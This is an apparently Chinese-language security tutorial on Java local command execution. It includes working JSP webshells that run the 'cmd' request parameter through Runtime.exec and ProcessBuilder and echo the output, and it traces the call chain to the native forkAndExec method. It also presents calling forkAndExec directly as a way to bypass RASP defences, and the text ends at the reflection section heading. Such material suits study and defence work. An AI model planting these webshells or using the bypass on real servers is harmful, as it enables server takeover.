Java本地命令执行

Java原生提供了对本地系统命令执行的支持,通常会使用RCE利用漏洞或者Webshell来执行系统终端命令控制服务器的目的。

对开发者来说调用本地命令来实现某些程序功能(如:ps进程、top内存管理)是一个正常的需求,对黑客来说本地命令执行是一种非常有利的入侵手段。

Runtime命令执行

在Java中通常使用java.lang.Runtime类的exec方法来执行本地系统命令。

Runtime命令执行测试

runtime-exec2.jsp 执行cmd命令示列:

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>

image.png
改进回显

  1. <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  2. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  3. <%@ page import="java.io.ByteArrayOutputStream" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%
  6. InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  7. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  8. byte[] b = new byte[1024];
  9. int a = -1;
  10. while ((a = in.read(b)) != -1) {
  11. baos.write(b, 0, a);
  12. }
  13. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
  14. %>

Runtime.exec(xxx)调用链如下:

  1. java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
  2. java.lang.ProcessImpl.start(ProcessImpl.java:134)
  3. java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
  4. java.lang.Runtime.exec(Runtime.java:620)
  5. java.lang.Runtime.exec(Runtime.java:450)
  6. java.lang.Runtime.exec(Runtime.java:347)
  7. org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个利用链看见exec方法,并不是最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. new java.lang.UNIXProcess(xxx)
  4. UNIXProcess构造方法中调用了forkAndExec(xxx)native方法。
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateprocessPID

有了调用链分析,就可以深入理解Java本地命令执行的深入逻辑了。
RuntimeProcessBuilder并不是程序的执行终点

ProcessBuilder命令执行

Runtime命令执行的时候,exec方法会最终调用ProcessBuilder来执行本地命令,跟踪Runtime的exec方法就可以知道如何使用ProcessBuilder

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.ByteArrayOutputStream" %>
  3. <%@ page import="java.io.InputStream" %>
  4. <%
  5. InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
  6. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  7. byte[] b = new byte[1024];
  8. int a = -1;
  9. while ((a = in.read(b)) != -1) {
  10. baos.write(b, 0, a);
  11. }
  12. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
  13. %>

UNIXProcess/Processlmpl

UNIXProcessProcessImple可以理解本就是一个东西,在JDK9中UNIXProcess合并到了ProcesImpl中。
UNIXProcess类的ForkAndExec示列:

  1. private native int forkAndExec(int mode, byte[] helperpath,
  2. byte[] prog,
  3. byte[] argBlock, int argc,
  4. byte[] envBlock, int envc,
  5. byte[] dir,
  6. int[] fds,
  7. boolean redirectErrorStream)
  8. throws IOException;

防御者很多时候只防御到了processBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行。

反射UNIXProcess/ProcessImpl执行本地命令